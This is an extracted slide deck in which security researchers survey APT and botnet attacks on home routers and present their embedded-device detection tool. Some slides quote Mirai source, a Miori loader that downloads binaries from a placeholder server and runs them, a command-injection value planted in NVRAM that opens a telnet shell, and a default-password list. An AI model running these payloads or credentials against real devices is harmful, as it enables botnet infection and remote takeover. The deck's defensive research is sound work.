L A S T E X P L O I T A T I O N cp / zet / f9a About Us - - PowerPoint PPT Presentation

▶
l a s t e x p l o i t a t i o n
SMART_READER_LITE
LIVE PREVIEW

L A S T E X P L O I T A T I O N cp / zet / f9a About Us - - PowerPoint PPT Presentation

Feb 09, 2024 258 likes •1.08k views

L A S T E X P L O I T A T I O N cp / zet / f9a About Us Researchers from TeamT5 Core Developer of ThreatSonar for Linux, macOS, Windows We mainly focus on state of the art techniques of threat actors and how to effectively

slide-1
SLIDE 1

cp / zet / f9a

L A S T E X P L O I T A T I O N

slide-2
SLIDE 2

About Us

  • Researchers from TeamT5
  • Core Developer of ThreatSonar for Linux, macOS, Windows
  • We mainly focus on state of the art techniques of threat actors and

how to effectively identify them

3

slide-3
SLIDE 3

Outline

4

Attack Defense Tool

  • LEAYA: an Embedded System Detection and Response
  • APT and Botnet Case Studies
  • Post-Exploitation Techniques
  • Identifying Threats
  • SOHO Router Vendors Security Solution
slide-4
SLIDE 4

APT and Botnet Case Studies

5

slide-5
SLIDE 5

BlackTech

  • Use VPN & DDNS & Virutal Host as C2 server
  • Use man-in-the-middle attack subnetwork endpoint

6

APT APT

https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/

slide-6
SLIDE 6

Router Compromise

Attater Router Tartget PC

7

APT APT

Compromise

https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/

slide-7
SLIDE 7

Update Interception

Update Server Malicious File

Malicious Update

8

APT APT

Update request Interception

User

https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/

slide-8
SLIDE 8

Payload Delivery

Malicious Update File

Compromise

9

APT APT

https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/

Malicious Update

Router

slide-9
SLIDE 9

Slingshot

  • Compromised Mikrotik router
  • Downloads and loads malicious DLLs when use Winbox connect to router

10

Winbox

slide-10
SLIDE 10

User Winbox

Mikrotik Router

Slingshot

11

APT APT

https://www.kaspersky.com/about/press-releases/2018_slingshot

slide-11
SLIDE 11

User Winbox

Mikrotik Router

Slingshot

12

APT APT

https://www.kaspersky.com/about/press-releases/2018_slingshot

slide-12
SLIDE 12

User Winbox

Mikrotik Router

Slingshot

13

APT APT

https://www.kaspersky.com/about/press-releases/2018_slingshot

slide-13
SLIDE 13

User Winbox

Mikrotik Router

Slingshot

14

APT APT

https://www.kaspersky.com/about/press-releases/2018_slingshot

slide-14
SLIDE 14

Fancy Bear & VPNFilter (APT28)

  • VPNFilter use default Cert or 1day to exploit device
  • Infecting 500k devices.
  • Modules

○ htpx: Http Sniffer ○ ndbr: SSH utility ○ nm: arp/wireless scan ○ netfilter: DoS utility ○ portforwarding ○ socks5proxy ○ tcpvpn: reverse-tcp vpn

15

APT APT

https://blog.talosintelligence.com/2018/05/VPNFilter.html

slide-15
SLIDE 15

16

https://blog.talosintelligence.com/2018/05/VPNFilter.html

slide-16
SLIDE 16

17

https://blog.talosintelligence.com/2018/05/VPNFilter.html

slide-17
SLIDE 17

VPNFilter Stage 1

  • After exploited router

○ Comproising NVRAM to add itself to crontab in NVRAM ○ Stage 1 will autorun after router reboot

18

APT APT

Stage 1 crontab NVRAM

slide-18
SLIDE 18

VPNFilter Stage 1

  • After exploited router

○ Comproising NVRAM to add itself to crontab in NVRAM ○ Stage 1 will autorun after router reboot

19

APT APT

Stage 1 crontab NVRAM Stage 2 C2

slide-19
SLIDE 19

20

slide-20
SLIDE 20

Mirai

  • Worm Propagation
  • Target: IoT Devices
  • Use default username and password
  • DDoS
  • Open Source

○ Easy to create variants of Miria ■ miori ■ Omni ■ Satori ■ TheMoon

21

Bo Botnet

slide-21
SLIDE 21

22

https://github.com/jgamblin/Mirai-Source-Code

BOOL attack_init(void) { int i; add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); return TRUE; }

slide-22
SLIDE 22

23

binarys = "mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc" server_ip = "$SERVER_IP" binname = "miori" execname = "$EXECNAME" for arch in $binarys do cd /tmp wget http://$server_ip/$binname.$arch - O $execname chmod 777 $execname ./$execname Think.PHP rm -rf $execname done

slide-23
SLIDE 23

Default Username / Password

24

Default Username / Password CVE-2018-20062 Default Username / Password CVE-2018-20062 CVE-2018-20062

slide-24
SLIDE 24

LiquorBot

  • Base on Mirai
  • Worm Propagation
  • 82 Default username / password
  • Use 12 router exploits

○ Weblogic, WordPress, Drupal

  • XMR Miner

25

Bo Botnet

https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/

slide-25
SLIDE 25

Cereals

  • Worm Propagation
  • D-Link NVRs and NAS
  • 1 Exploit: CVE-2014-2691
  • Install Services

○ VPN (Tinc) ○ HTTP proxy (Polipo) ○ Socks proxy (Nylon) ○ SSH daemon (Dropbear) ○ new root / remote user

  • Goal: Download Anime

26

Bo Botnet

https://www.forcepoint.com/blog/x-labs/botnets-nas-nvr-devices

slide-26
SLIDE 26

Post-Exploitation Techniques

Understanding Threats

slide-27
SLIDE 27

APT

  • Persistence
  • Weak password
  • Hardcoded SSH
  • Service(ssh, telnet,

ddns, vpn client, ddns , proxy)

  • C&C

Common

  • DNS Hijacking
  • Reverse Shell
  • Reverse-TCP VPN
  • Port Forwarding
  • Sniffer
  • DoS
  • Compromised

DLL

Botnet

  • Worm
  • DDoS
  • Coin Miner

28

slide-28
SLIDE 28

Network

  • HTTP Proxy
  • SOCKS
  • Port Forwarding
  • Reverse Shell
  • Reverse-TCP VPN

Control

  • Weak password
  • Hardcoded SSH
  • SSH
  • TELNET
  • DDNS
  • VPN
  • Sniffer

Intention

  • C&C
  • Worm
  • DDoS
  • Coin Miner
  • DNS Hijacking
  • Fake Binary

29

slide-29
SLIDE 29

30

Conclusion of Attack

Router Interface

Web UPNP Telnet Manage service XSS CMD injection Buffer Overflow Weak password NVRAM cgi binary (root privileges)

slide-30
SLIDE 30

31

Identify Threats

slide-31
SLIDE 31

Forensic Evidences

  • Process

○ Memory ○ Environment

  • File

○ /etc/shadow ○ Hardcoded password ○ Autoruns (crontab) ○ NVRAM ○ logs

  • Network

32

slide-32
SLIDE 32
  • TMOUT=0
  • ENV=/etc/profile
  • TZ=GMT-8
  • OLDPWD=/home

Artificial Operator (ENV)

33

Pr Proc

  • cess Detection

SSH_CLIENT=192.168.7.199 50589 22 USER=admin OLDPWD=/tmp/home/root HOME=/root SSH_TTY=/dev/pts/0 PS1=\u@\h:\w\$ LOGNAME=admin TERM=xterm-256color PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/adm in:/mmc/sbin:/mmc/bin:/mmc/usr/sbin:/mmc/usr /bin:/opt/sbin:/opt/bin:/opt/usr/sbin:/opt/u sr/bin SHELL=/bin/sh PWD=/tmp SSH_CONNECTION=192.168.7.199 50589 192.168.7.253

slide-33
SLIDE 33

Suspicious Process

34

parent process ?

  • sshd

○ dropbear (ssh)

  • web serverice

○ httpd ○ lighttpd

Pr Proc

  • cess Detection

Unexpected Process ?

  • SSH
  • TELNET
  • DDNS
  • VPN
slide-34
SLIDE 34

Hardcoded key

  • Telnet password
  • Certifcate
  • AES Key

35

File Detection

  • n
  • penssl zlib -e %s | openssl
  • e %s
  • penssl
  • d %s %s | openssl zlib -d
  • e %s %s
  • d %s %s
  • in %q
  • k %q
  • kfile /etc/secretkey

2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163 E39D67579EB344427F7836 360028C9064242F81074F4C127D299F6

  • iv

crypt_used_openssl enc_file

slide-35
SLIDE 35

Weak Password

check your self by dictionary attack

  • /usr/share/wordlist
  • /usr/share/wfuzz/wordlist
  • /usr/share/golismero/wordlist
  • /usr/share/dirb/wordlist

root xc3511 root vizxv root admin admin admin root 888888 root xmhdipc root default root juantech root 123456 root 54321 support support root (none) admin password root root root 12345 user user admin (none) root pass admin admin1234 root 1111 admin smcadmin admin 1111 root 666666

36

File Detection

  • n
slide-36
SLIDE 36

Persistence

Attacker can re-package the firmware with several malware

  • /etc/rc.d/
  • /etc/init.d/malware
  • crontab
  • nvram

37

File Detection

  • n
slide-37
SLIDE 37
  • NVRAM / Flash

○ /dev/nvram ○ /proc/mtd ○ /dev/mtd*

NVRAM

38

NVRAM Boot Loader kernel File System MTD Partition Firmware mtd0: 0x00000000-0x00400000 : "ALL" mtd1: 0x00000000-0x00030000 : "Bootloader" mtd2: 0x00030000-0x00040000 : "Config" mtd3: 0x00040000-0x00050000 : "Factory" mtd4: 0x00050000-0x00360000 : "Kernel" mtd5: 0x00360000-0x003b0000 : "DATA"

/proc/mtd

File Detection

  • n
slide-38
SLIDE 38

Read NVRAM

url_filter_rule=rule_1,www.google.com mac_filter_enable=1 mac_filter_max_num=24 mac_filter_mode=deny mac_filter_rule= mac_ipv6_filter_enable=1 telnetEnabled=0 WscCusPBCEnable=1 WscCusPINEnable=0 CusChannel=0 factory_mode=2

/dev/mtd2

39

NVRAM Boot Loader kernel File System MTD Partition Firmware

File Detection

  • n
slide-39
SLIDE 39

Payload in NVRAM

40

NVRAM Boot Loader kernel File System MTD Partition Firmware

File Detection

  • n

url_filter_rule=rule_1,www.google.com$(telnet d -l sh -p 1337 -b 0.0.0.0), mac_filter_enable=1 mac_filter_max_num=24 mac_filter_mode=deny mac_filter_rule= mac_ipv6_filter_enable=1 telnetEnabled=0 WscCusPBCEnable=1 WscCusPINEnable=0 CusChannel=0 factory_mode=2

/dev/mtd2

slide-40
SLIDE 40

Othres

  • Fake Binary

○ Diff with firmware ○ File Modification Date

  • logs

○ system logs - /jffs/syslog.log

41

File Detection

  • n
slide-41
SLIDE 41

DNS Hijacking

42

Ne Network rk Detection

  • n

resolve.conf DHCP option dnsmasq

/etc/resolv.conf nameserver 192.168.7.1 nameserver 192.168.7.254

slide-42
SLIDE 42

Sniffer

  • One of inode exist /proc/net/packet probably is Sniffer (SOCKS_RAW)

43

Ne Network rk Detection

  • n
slide-43
SLIDE 43

Suspicious Network

  • Iptables
  • HTTP Proxy
  • Port Forwarding
  • Reverse shell
  • Reverse VPN client

44

Ne Network rk Detection

  • n
slide-44
SLIDE 44

SOHO Router Security Solution

45

slide-45
SLIDE 45

SOHO Router Security Solution

  • ASUS: AiProtection Classic (PRO) By Trend Micro
  • D-Link: D-Fend By McAfee
  • TP-Link: HomeCare By Trend Micro
  • NETGEAR: Armor By Bitdefender

46

slide-46
SLIDE 46

Check Security Configartion

47

slide-47
SLIDE 47

48

ASUS: AiProtection Classic (PRO) By Trend Micro

/* PROTECTION EVENT */ {PROTECTION_INTO_MONITORMODE_EVENT ,0 ,"Intrusion Alert" ,"" }, {PROTECTION_VULNERABILITY_EVENT ,0 ,"Intrusion Prevention System Alert" ,"" }, {PROTECTION_CC_EVENT ,0 ,"Infected Device Detected and Blocked" ,"" }, {PROTECTION_DOS_EVENT ,0 ,"DoS Protection Alert" ,"" }, {PROTECTION_SAMBA_GUEST_ENABLE_EVENT ,0 ,"Securtiy Risk - Samba" ,"" }, {PROTECTION_FTP_GUEST_ENABLE_EVENT ,0 ,"Securtiy Risk - FTP " ,"" }, {PROTECTION_FIREWALL_DISABLE_EVENT ,0 ,"Securtiy Risk - Firewall Disable" ,"" }, {PROTECTION_MALICIOUS_SITE_EVENT ,0 ,"Malicious Site Access Blocked" ,"" }, {PROTECTION_WEB_CROSS_SITE_EVENT ,0 ,"Security Event Notice - Web Cross-site Scripting!" ,"" }, {PROTECTION_IIS_VULNERABILITY_EVENT ,0 ,"Security Event Notice - Microsoft IIS Vulnerability!" ,"" }, {PROTECTION_DNS_AMPLIFICATION_ATTACK_EVENT ,0 ,"Security Event Notice - DNS Amplification Attack!" ,"" }, {PROTECTION_SUSPICIOUS_HTML_TAG_EVNET ,0 ,"Security Event Notice - Suspicious HTML Iframe tag!" ,"" }, {PROTECTION_BITCOIN_MINING_ACTIVITY_EVENT ,0 ,"Security Event Notice - Bitcoin Mining Activity!" ,"" }, {PROTECTION_MALWARE_RANSOM_THREAT_EVENT ,0 ,"Security Event Notice - Malware Ransomware Threat!" ,"" }, {PROTECTION_MALWARE_MIRAI_THREAT_EVENT ,0 ,"Security Event Notice - Malware Mirai Threat!" ,"" },

slide-48
SLIDE 48

49

ASUS: AiProtection Classic (PRO) By Trend Micro

if ( v43 & 2 ) { v6 = (int)&v91; snprintf( (char *)&v91, 0x3BFu, "SELECT timestamp, type, src, dst FROM monitor WHERE type=3 AND (timestamp > %ld AND timestamp < %ld) ORDER" " BY timestamp DESC", (char *)v12 - 130, v12); printf("sql = \"%s\"\n", &v91); sub_1750C(v71, &v91, "/jffs/.sys/AiProtectionMonitor/AiProtectionMonitorVPevent.txt"); }

slide-49
SLIDE 49

After pentest nothing alert ?

50

slide-50
SLIDE 50

SOHO Router Security Solution

  • Limited vender, limited model
  • Protect client device rather than router devices
  • Network-based Detection, does not provide protection against …

○ pentesting ○ evil payload ○ disable protection

51

slide-51
SLIDE 51

Improvement Router Security Mechanism

  • Package signing
  • Package encrypted
  • GCC Protection (SSP)
  • Separate users for processes
  • Procd jail

52

slide-52
SLIDE 52

An Embedded System Detection and Response

53

slide-53
SLIDE 53

SOHO Router Security Solution

  • Limited vender, limited model
  • Protect client device
  • Network-based Detection

54

slide-54
SLIDE 54

SOHO Router Security Solution

  • Limited vender, limited model → Cross-Branding & Cross-Platform
  • Protect client device → Protect router itself
  • Network-based Detection → Behavior-based Detection

55

slide-55
SLIDE 55

An Embedded System Detection and Response

56

slide-56
SLIDE 56
  • Cross-Branding

○ ASUS / ROG / Synology / D-Link / TP-Link / TOTOLINK / ...

  • Cross-Platform

○ i386 / amd64 / arm / arm64 / mips32 / mips64

  • Support Open Source IoC
  • Support MITRE ATT&CK

57

An Embedded System Detection and Response

slide-57
SLIDE 57

An Embedded System Detection and Response

  • Focus on the Embedded System itself

○ Router, NAS, IPCam, RPi

  • Behavior-based Detection: Scans Process / File / Network / NVRAM
  • Automaticity identifying the APT & Botnet Threats

58

slide-58
SLIDE 58

LEAYA Architecture

Web Server Client Agents

59

slide-59
SLIDE 59

LEAYA Features

  • IoC auto-update
  • Easy Setup & Update Agent
  • LEAYA + Raspberry pi

60

slide-60
SLIDE 60
slide-61
SLIDE 61

LEAYA Detections

  • Process
  • File
  • Network
  • NVRAM

62

slide-62
SLIDE 62

63

slide-63
SLIDE 63

64

CHECK PROCESS

slide-64
SLIDE 64

65

slide-65
SLIDE 65

66

slide-66
SLIDE 66

67

slide-67
SLIDE 67

68

slide-68
SLIDE 68

69

slide-69
SLIDE 69

70

CHECK FILE

slide-70
SLIDE 70

71

slide-71
SLIDE 71

72

slide-72
SLIDE 72

73

CHECK NETWORK

slide-73
SLIDE 73

74

slide-74
SLIDE 74

75

slide-75
SLIDE 75

76

CHECK NVRAM

slide-76
SLIDE 76

77

slide-77
SLIDE 77

78

slide-78
SLIDE 78

79

slide-79
SLIDE 79
  • APT uses various 1-day router exploits to compromise routers, the

advances to attack endpoints of subnetwork

  • We research attack techniques and how to identify them
  • According to our researched, current security solution of routers on the

market exist High Risk because the router didn’t protect itself

  • Discuss how to secure routers
  • We implemented a cross-platform EDR for Embedded Systems

Conclusion

80

slide-80
SLIDE 80

Q&A

? ? ?

81